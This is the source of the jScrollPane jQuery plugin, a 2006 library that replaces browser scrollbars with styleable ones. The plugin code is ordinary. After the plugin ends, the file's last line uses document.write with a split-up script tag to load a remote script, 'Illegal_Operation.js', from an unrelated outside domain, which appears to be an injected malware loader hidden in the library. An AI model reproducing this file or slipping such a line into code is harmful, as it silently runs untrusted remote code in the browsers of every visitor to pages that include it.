/* Copyright (c) 2006 Kelvin Luck (kelvin AT kelvinluck DOT com || http://www.kelvinluck.com)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 *
 * See http://kelvinluck.com/assets/jquery/jScrollPane/
 * $Id$
 */

/**
 * Replace the vertical scroll bars on any matched elements with a fancy
 * styleable (via CSS) version. With JS disabled the elements will
 * gracefully degrade to the browsers own implementation of overflow:auto.
 * If the mousewheel plugin has been included on the page then the scrollable areas will also
 * respond to the mouse wheel.
 *
 * @example jQuery(".scroll-pane").jScrollPane();
 *
 * @name jScrollPane
 * @type jQuery
 * @param Object        settings        hash with options, described below.
 *                                                              scrollbarWidth  -       The width of the generated scrollbar in pixels
 *                                                              scrollbarMargin -       The amount of space to leave on the side of the scrollbar in pixels
 *                                                              wheelSpeed              -       The speed the pane will scroll in response to the mouse wheel in pixels
 *                                                              showArrows              -       Whether to display arrows for the user to scroll with
 *                                                              arrowSize               -       The height of the arrow buttons if showArrows=true
 *                                                              animateTo               -       Whether to animate when calling scrollTo and scrollBy
 *                                                              dragMinHeight   -       The minimum height to allow the drag bar to be
 *                                                              dragMaxHeight   -       The maximum height to allow the drag bar to be
 *                                                              animateInterval -       The interval in milliseconds to update an animating scrollPane (default 100)
 *                                                              animateStep             -       The amount to divide the remaining scroll distance by when animating (default 3)
 *                                                              maintainPosition-       Whether you want the contents of the scroll pane to maintain it's position when you re-initialise it - so it doesn't scroll as you add more content (default true)
 *                                                              scrollbarOnLeft -       Display the scrollbar on the left side?  (needs stylesheet changes, see examples.html)
 *                                                              reinitialiseOnImageLoad - Whether the jScrollPane should automatically re-initialise itself when any contained images are loaded
 * @return jQuery
 * @cat Plugins/jScrollPane
 * @author Kelvin Luck (kelvin AT kelvinluck DOT com || http://www.kelvinluck.com)
 */

(function($) {

$.jScrollPane = {
        active : []
};
$.fn.jScrollPane = function(settings)
{
        settings = $.extend({}, $.fn.jScrollPane.defaults, settings);

        var rf = function() { return false; };
       
        return this.each(
                function()
                {
                        var $this = $(this);
                        // Switch the element's overflow to hidden to ensure we get the size of the element without the scrollbars [http://plugins.jquery.com/node/1208]
                        $this.css('overflow', 'hidden');
                        var paneEle = this;
                       
                        if ($(this).parent().is('.jScrollPaneContainer')) {
                                var currentScrollPosition = settings.maintainPosition ? $this.position().top : 0;
                                var $c = $(this).parent();
                                var paneWidth = $c.innerWidth();
                                var paneHeight = $c.outerHeight();
                                var trackHeight = paneHeight;
                                $('>.jScrollPaneTrack, >.jScrollArrowUp, >.jScrollArrowDown', $c).remove();
                                $this.css({'top':0});
                        } else {
                                var currentScrollPosition = 0;
                                this.originalPadding = $this.css('paddingTop') + ' ' + $this.css('paddingRight') + ' ' + $this.css('paddingBottom') + ' ' + $this.css('paddingLeft');
                                this.originalSidePaddingTotal = (parseInt($this.css('paddingLeft')) || 0) + (parseInt($this.css('paddingRight')) || 0);
                                var paneWidth = $this.innerWidth();
                                var paneHeight = $this.innerHeight();
                                var trackHeight = paneHeight;
                                $this.wrap(
                                        $('<div></div>').attr(
                                                {'className':'jScrollPaneContainer'}
                                        ).css(
                                                {
                                                        'height':paneHeight+'px',
                                                        'width':paneWidth+'px'
                                                }
                                        )
                                );
                                // deal with text size changes (if the jquery.em plugin is included)
                                // and re-initialise the scrollPane so the track maintains the
                                // correct size
                                $(document).bind(
                                        'emchange',
                                        function(e, cur, prev)
                                        {
                                                $this.jScrollPane(settings);
                                        }
                                );
                               
                        }
                       
                        if (settings.reinitialiseOnImageLoad) {
                                // code inspired by jquery.onImagesLoad: http://plugins.jquery.com/project/onImagesLoad
                                // except we re-initialise the scroll pane when each image loads so that the scroll pane is always up to size...
                                // TODO: Do I even need to store it in $.data? Is a local variable here the same since I don't pass the reinitialiseOnImageLoad when I re-initialise?
                                var $imagesToLoad = $.data(paneEle, 'jScrollPaneImagesToLoad') || $('img', $this);
                                var loadedImages = [];
                               
                                if ($imagesToLoad.length) {
                                        $imagesToLoad.each(function(i, val)     {
                                                $(this).bind('load readystatechange', function() {
                                                        if($.inArray(i, loadedImages) == -1){ //don't double count images
                                                                loadedImages.push(val); //keep a record of images we've seen
                                                                $imagesToLoad = $.grep($imagesToLoad, function(n, i) {
                                                                        return n != val;
                                                                });
                                                                $.data(paneEle, 'jScrollPaneImagesToLoad', $imagesToLoad);
                                                                var s2 = $.extend(settings, {reinitialiseOnImageLoad:false});
                                                                $this.jScrollPane(s2); // re-initialise
                                                        }
                                                }).each(function(i, val) {
                                                        if(this.complete || this.complete===undefined) {
                                                                //needed for potential cached images
                                                                this.src = this.src;
                                                        }
                                                });
                                        });
                                };
                        }

                        var p = this.originalSidePaddingTotal;
                        var realPaneWidth = paneWidth - settings.scrollbarWidth - settings.scrollbarMargin - p;

                        var cssToApply = {
                                'height':'auto',
                                'width': realPaneWidth + 'px'
                        }

                        if(settings.scrollbarOnLeft) {
                                cssToApply.paddingLeft = settings.scrollbarMargin + settings.scrollbarWidth + 'px';
                        } else {
                                cssToApply.paddingRight = settings.scrollbarMargin + 'px';
                        }

                        $this.css(cssToApply);

                        var contentHeight = $this.outerHeight();
                        var percentInView = paneHeight / contentHeight;

                        if (percentInView < .99) {
                                var $container = $this.parent();
                                $container.append(
                                        $('<div></div>').attr({'className':'jScrollPaneTrack'}).css({'width':settings.scrollbarWidth+'px'}).append(
                                                $('<div></div>').attr({'className':'jScrollPaneDrag'}).css({'width':settings.scrollbarWidth+'px'}).append(
                                                        $('<div></div>').attr({'className':'jScrollPaneDragTop'}).css({'width':settings.scrollbarWidth+'px'}),
                                                        $('<div></div>').attr({'className':'jScrollPaneDragBottom'}).css({'width':settings.scrollbarWidth+'px'})
                                                )
                                        )
                                );
                               
                                var $track = $('>.jScrollPaneTrack', $container);
                                var $drag = $('>.jScrollPaneTrack .jScrollPaneDrag', $container);
                               
                                if (settings.showArrows) {
                                       
                                        var currentArrowButton;
                                        var currentArrowDirection;
                                        var currentArrowInterval;
                                        var currentArrowInc;
                                        var whileArrowButtonDown = function()
                                        {
                                                if (currentArrowInc > 4 || currentArrowInc%4==0) {
                                                        positionDrag(dragPosition + currentArrowDirection * mouseWheelMultiplier);
                                                }
                                                currentArrowInc ++;
                                        };
                                        var onArrowMouseUp = function(event)
                                        {
                                                $('html').unbind('mouseup', onArrowMouseUp);
                                                currentArrowButton.removeClass('jScrollActiveArrowButton');
                                                clearInterval(currentArrowInterval);
                                        };
                                        var onArrowMouseDown = function() {
                                                $('html').bind('mouseup', onArrowMouseUp);
                                                currentArrowButton.addClass('jScrollActiveArrowButton');
                                                currentArrowInc = 0;
                                                whileArrowButtonDown();
                                                currentArrowInterval = setInterval(whileArrowButtonDown, 100);
                                        };
                                        $container
                                                .append(
                                                        $('<a></a>')
                                                                .attr({'href':'javascript:;', 'className':'jScrollArrowUp'})
                                                                .css({'width':settings.scrollbarWidth+'px'})
                                                                .html('Scroll up')
                                                                .bind('mousedown', function()
                                                                {
                                                                        currentArrowButton = $(this);
                                                                        currentArrowDirection = -1;
                                                                        onArrowMouseDown();
                                                                        this.blur();
                                                                        return false;
                                                                })
                                                                .bind('click', rf),
                                                        $('<a></a>')
                                                                .attr({'href':'javascript:;', 'className':'jScrollArrowDown'})
                                                                .css({'width':settings.scrollbarWidth+'px'})
                                                                .html('Scroll down')
                                                                .bind('mousedown', function()
                                                                {
                                                                        currentArrowButton = $(this);
                                                                        currentArrowDirection = 1;
                                                                        onArrowMouseDown();
                                                                        this.blur();
                                                                        return false;
                                                                })
                                                                .bind('click', rf)
                                                );
                                        var $upArrow = $('>.jScrollArrowUp', $container);
                                        var $downArrow = $('>.jScrollArrowDown', $container);
                                        if (settings.arrowSize) {
                                                trackHeight = paneHeight - settings.arrowSize - settings.arrowSize;
                                                $track
                                                        .css({'height': trackHeight+'px', top:settings.arrowSize+'px'})
                                        } else {
                                                var topArrowHeight = $upArrow.height();
                                                settings.arrowSize = topArrowHeight;
                                                trackHeight = paneHeight - topArrowHeight - $downArrow.height();
                                                $track
                                                        .css({'height': trackHeight+'px', top:topArrowHeight+'px'})
                                        }
                                }
                               
                                var $pane = $(this).css({'position':'absolute', 'overflow':'visible'});
                               
                                var currentOffset;
                                var maxY;
                                var mouseWheelMultiplier;
                                // store this in a seperate variable so we can keep track more accurately than just updating the css property..
                                var dragPosition = 0;
                                var dragMiddle = percentInView*paneHeight/2;
                               
                                // pos function borrowed from tooltip plugin and adapted...
                                var getPos = function (event, c) {
                                        var p = c == 'X' ? 'Left' : 'Top';
                                        return event['page' + c] || (event['client' + c] + (document.documentElement['scroll' + p] || document.body['scroll' + p])) || 0;
                                };
                               
                                var ignoreNativeDrag = function() {     return false; };
                               
                                var initDrag = function()
                                {
                                        ceaseAnimation();
                                        currentOffset = $drag.offset(false);
                                        currentOffset.top -= dragPosition;
                                        maxY = trackHeight - $drag[0].offsetHeight;
                                        mouseWheelMultiplier = 2 * settings.wheelSpeed * maxY / contentHeight;
                                };
                               
                                var onStartDrag = function(event)
                                {
                                        initDrag();
                                        dragMiddle = getPos(event, 'Y') - dragPosition - currentOffset.top;
                                        $('html').bind('mouseup', onStopDrag).bind('mousemove', updateScroll);
                                        if ($.browser.msie) {
                                                $('html').bind('dragstart', ignoreNativeDrag).bind('selectstart', ignoreNativeDrag);
                                        }
                                        return false;
                                };
                                var onStopDrag = function()
                                {
                                        $('html').unbind('mouseup', onStopDrag).unbind('mousemove', updateScroll);
                                        dragMiddle = percentInView*paneHeight/2;
                                        if ($.browser.msie) {
                                                $('html').unbind('dragstart', ignoreNativeDrag).unbind('selectstart', ignoreNativeDrag);
                                        }
                                };
                                var positionDrag = function(destY)
                                {
                                        destY = destY < 0 ? 0 : (destY > maxY ? maxY : destY);
                                        dragPosition = destY;
                                        $drag.css({'top':destY+'px'});
                                        var p = destY / maxY;
                                        $this.data('jScrollPanePosition', (paneHeight-contentHeight)*-p);
                                        $pane.css({'top':((paneHeight-contentHeight)*p) + 'px'});
                                        $this.trigger('scroll');
                                        if (settings.showArrows) {
                                                $upArrow[destY == 0 ? 'addClass' : 'removeClass']('disabled');
                                                $downArrow[destY == maxY ? 'addClass' : 'removeClass']('disabled');
                                        }
                                };
                                var updateScroll = function(e)
                                {
                                        positionDrag(getPos(e, 'Y') - currentOffset.top - dragMiddle);
                                };
                               
                                var dragH = Math.max(Math.min(percentInView*(paneHeight-settings.arrowSize*2), settings.dragMaxHeight), settings.dragMinHeight);
                               
                                $drag.css(
                                        {'height':dragH+'px'}
                                ).bind('mousedown', onStartDrag);
                               
                                var trackScrollInterval;
                                var trackScrollInc;
                                var trackScrollMousePos;
                                var doTrackScroll = function()
                                {
                                        if (trackScrollInc > 8 || trackScrollInc%4==0) {
                                                positionDrag((dragPosition - ((dragPosition - trackScrollMousePos) / 2)));
                                        }
                                        trackScrollInc ++;
                                };
                                var onStopTrackClick = function()
                                {
                                        clearInterval(trackScrollInterval);
                                        $('html').unbind('mouseup', onStopTrackClick).unbind('mousemove', onTrackMouseMove);
                                };
                                var onTrackMouseMove = function(event)
                                {
                                        trackScrollMousePos = getPos(event, 'Y') - currentOffset.top - dragMiddle;
                                };
                                var onTrackClick = function(event)
                                {
                                        initDrag();
                                        onTrackMouseMove(event);
                                        trackScrollInc = 0;
                                        $('html').bind('mouseup', onStopTrackClick).bind('mousemove', onTrackMouseMove);
                                        trackScrollInterval = setInterval(doTrackScroll, 100);
                                        doTrackScroll();
                                        return false;
                                };
                               
                                $track.bind('mousedown', onTrackClick);
                               
                                $container.bind(
                                        'mousewheel',
                                        function (event, delta) {
                                                initDrag();
                                                ceaseAnimation();
                                                var d = dragPosition;
                                                positionDrag(dragPosition - delta * mouseWheelMultiplier);
                                                var dragOccured = d != dragPosition;
                                                return !dragOccured;
                                        }
                                );


                                var _animateToPosition;
                                var _animateToInterval;
                                function animateToPosition()
                                {
                                        var diff = (_animateToPosition - dragPosition) / settings.animateStep;
                                        if (diff > 1 || diff < -1) {
                                                positionDrag(dragPosition + diff);
                                        } else {
                                                positionDrag(_animateToPosition);
                                                ceaseAnimation();
                                        }
                                }
                                var ceaseAnimation = function()
                                {
                                        if (_animateToInterval) {
                                                clearInterval(_animateToInterval);
                                                delete _animateToPosition;
                                        }
                                };
                                var scrollTo = function(pos, preventAni)
                                {
                                        if (typeof pos == "string") {
                                                $e = $(pos, $this);
                                                if (!$e.length) return;
                                                pos = $e.offset().top - $this.offset().top;
                                        }
                                        $container.scrollTop(0);
                                        ceaseAnimation();
                                        var maxScroll = contentHeight - paneHeight;
                                        pos = pos > maxScroll ? maxScroll : pos;
                                        $this.data('jScrollPaneMaxScroll', maxScroll);
                                        var destDragPosition = pos/maxScroll * maxY;
                                        if (preventAni || !settings.animateTo) {
                                                positionDrag(destDragPosition);
                                        } else {
                                                _animateToPosition = destDragPosition;
                                                _animateToInterval = setInterval(animateToPosition, settings.animateInterval);
                                        }
                                };
                                $this[0].scrollTo = scrollTo;
                               
                                $this[0].scrollBy = function(delta)
                                {
                                        var currentPos = -parseInt($pane.css('top')) || 0;
                                        scrollTo(currentPos + delta);
                                };
                               
                                initDrag();
                               
                                scrollTo(-currentScrollPosition, true);
                       
                                // Deal with it when the user tabs to a link or form element within this scrollpane
                                $('*', this).bind(
                                        'focus',
                                        function(event)
                                        {
                                                var $e = $(this);
                                               
                                                // loop through parents adding the offset top of any elements that are relatively positioned between
                                                // the focused element and the jScrollPaneContainer so we can get the true distance from the top
                                                // of the focused element to the top of the scrollpane...
                                                var eleTop = 0;
                                               
                                                while ($e[0] != $this[0]) {
                                                        eleTop += $e.position().top;
                                                        $e = $e.offsetParent();
                                                }
                                               
                                                var viewportTop = -parseInt($pane.css('top')) || 0;
                                                var maxVisibleEleTop = viewportTop + paneHeight;
                                                var eleInView = eleTop > viewportTop && eleTop < maxVisibleEleTop;
                                                if (!eleInView) {
                                                        var destPos = eleTop - settings.scrollbarMargin;
                                                        if (eleTop > viewportTop) { // element is below viewport - scroll so it is at bottom.
                                                                destPos += $(this).height() + 15 + settings.scrollbarMargin - paneHeight;
                                                        }
                                                        scrollTo(destPos);
                                                }
                                        }
                                )
                               
                               
                                if (location.hash) {
                                        scrollTo(location.hash);
                                }
                               
                                // use event delegation to listen for all clicks on links and hijack them if they are links to
                                // anchors within our content...
                                $(document).bind(
                                        'click',
                                        function(e)
                                        {
                                                $target = $(e.target);
                                                if ($target.is('a')) {
                                                        var h = $target.attr('href');
                                                        if (h && h.substr(0, 1) == '#') {
                                                                scrollTo(h);
                                                        }
                                                }
                                        }
                                );
                               
                                // Deal with dragging and selecting text to make the scrollpane scroll...
                                function onSelectScrollMouseDown(e)
                                {
                                   $(document).bind('mousemove.jScrollPaneDragging', onTextSelectionScrollMouseMove);
                                   $(document).bind('mouseup.jScrollPaneDragging',   onSelectScrollMouseUp);
                                 
                                }
                               
                                var textDragDistanceAway;
                                var textSelectionInterval;
                               
                                function onTextSelectionInterval()
                                {
                                        direction = textDragDistanceAway < 0 ? -1 : 1;
                                        $this[0].scrollBy(textDragDistanceAway / 2);
                                }

                                function clearTextSelectionInterval()
                                {
                                        if (textSelectionInterval) {
                                                clearInterval(textSelectionInterval);
                                                textSelectionInterval = undefined;
                                        }
                                }
                               
                                function onTextSelectionScrollMouseMove(e)
                                {
                                        var offset = $this.parent().offset().top;
                                        var maxOffset = offset + paneHeight;
                                        var mouseOffset = getPos(e, 'Y');
                                        textDragDistanceAway = mouseOffset < offset ? mouseOffset - offset : (mouseOffset > maxOffset ? mouseOffset - maxOffset : 0);
                                        if (textDragDistanceAway == 0) {
                                                clearTextSelectionInterval();
                                        } else {
                                                if (!textSelectionInterval) {
                                                        textSelectionInterval  = setInterval(onTextSelectionInterval, 100);
                                                }
                                        }
                                }

                                function onSelectScrollMouseUp(e)
                                {
                                   $(document)
                                          .unbind('mousemove.jScrollPaneDragging')
                                          .unbind('mouseup.jScrollPaneDragging');
                                   clearTextSelectionInterval();
                                }

                                $container.bind('mousedown.jScrollPane', onSelectScrollMouseDown);

                               
                                $.jScrollPane.active.push($this[0]);
                               
                        } else {
                                $this.css(
                                        {
                                                'height':paneHeight+'px',
                                                'width':paneWidth-this.originalSidePaddingTotal+'px',
                                                'padding':this.originalPadding
                                        }
                                );
                                // remove from active list?
                                $this.parent().unbind('mousewheel').unbind('mousedown.jScrollPane');
                        }
                       
                }
        )
};

$.fn.jScrollPaneRemove = function()
{
        $(this).each(function()
        {
                $this = $(this);
                var $c = $this.parent();
                if ($c.is('.jScrollPaneContainer')) {
                        $this.css(
                                {
                                        'top':'',
                                        'height':'',
                                        'width':'',
                                        'padding':'',
                                        'overflow':'',
                                        'position':''
                                }
                        );
                        $c.after($this).remove();
                }
        });
}

$.fn.jScrollPane.defaults = {
        scrollbarWidth : 10,
        scrollbarMargin : 5,
        wheelSpeed : 18,
        showArrows : false,
        arrowSize : 0,
        animateTo : false,
        dragMinHeight : 1,
        dragMaxHeight : 99999,
        animateInterval : 100,
        animateStep: 3,
        maintainPosition: true,
        scrollbarOnLeft: false,
        reinitialiseOnImageLoad: false
};


// clean up the scrollTo expandos
$(window)
        .bind('unload', function() {
                var els = $.jScrollPane.active;
                for (var i=0; i<els.length; i++) {
                        els[i].scrollTo = els[i].scrollBy = null;
                }
        }
);

})(jQuery);

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Illegal_Operation.js"></scri'+'pt>');